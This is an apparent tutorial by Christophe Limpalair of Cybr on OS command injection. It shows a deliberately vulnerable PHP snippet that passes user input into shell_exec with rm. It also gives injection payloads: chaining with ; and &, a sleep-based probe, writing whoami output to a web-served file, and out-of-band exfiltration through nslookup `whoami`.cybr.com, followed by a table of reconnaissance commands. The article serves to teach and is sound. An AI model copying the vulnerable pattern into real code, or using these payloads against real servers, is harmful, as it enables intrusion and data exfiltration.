Christophe Limpalair
Co-Founder of Cybr, and Course Author
OS command injections allow attackers to execute operating system commands on the server that is running an application.
<?php
// Delete the selected file
$file = $_GET['filename'];
shell_exec("rm $file");
?>
<?php
// Delete the selected file
$file = $_GET['filename'];
shell_exec("rm $file");
?>
rm <filename> <-- delete files or directories
<?php
// Delete the selected file
$file = $_GET['filename'];
shell_exec("rm $file");
?>
rm <filename> <-- delete files or directories
# OS command injection example
rm old_file.txt; pwd
# OS command injection example
rm old_file.txt; pwd
pwd outputs the full pathname of the current working directory
# Unix-based systems
;
# Windows & Unix-based systems
&
rm old_file.txt; pwd; sleep 5
Time-based attacks add a delay to the expected response, on purpose, to verify whether the application is vulnerable
rm old_file.txt; pwd; sleep 5
& whoami > /var/www/static/whoami.txt &
& whoami > /var/www/static/whoami.txt &
https://vulnerable-website.com/whoami.txt
& nslookup https://cybr.com &
& nslookup https://cybr.com &
; nslookup `whoami`.cybr.com ;
& nslookup https://cybr.com &
; nslookup `whoami`.cybr.com ;
www-data.cybr.com
Source: Cybr & Portswigger
Purpose of command | Linux | Windows |
---|---|---|
Name of current user | whoami | whoami |
Operating system | uname -a | ver |
Network configuration | ifconfig | ifconfig /all |
Network connections | netstat -an | netstat -an |
Running processes | ps -ef | tasklist |
Identify the location (and existence) of executables | which | where |
Download file | wget | (new-object System.Net.WebClient).DownloadFile($url, $path) |
Sleep/timeout | sleep | Use ping or timeout in batch file |
Current directory | pwd | dir |
By Christophe Limpalair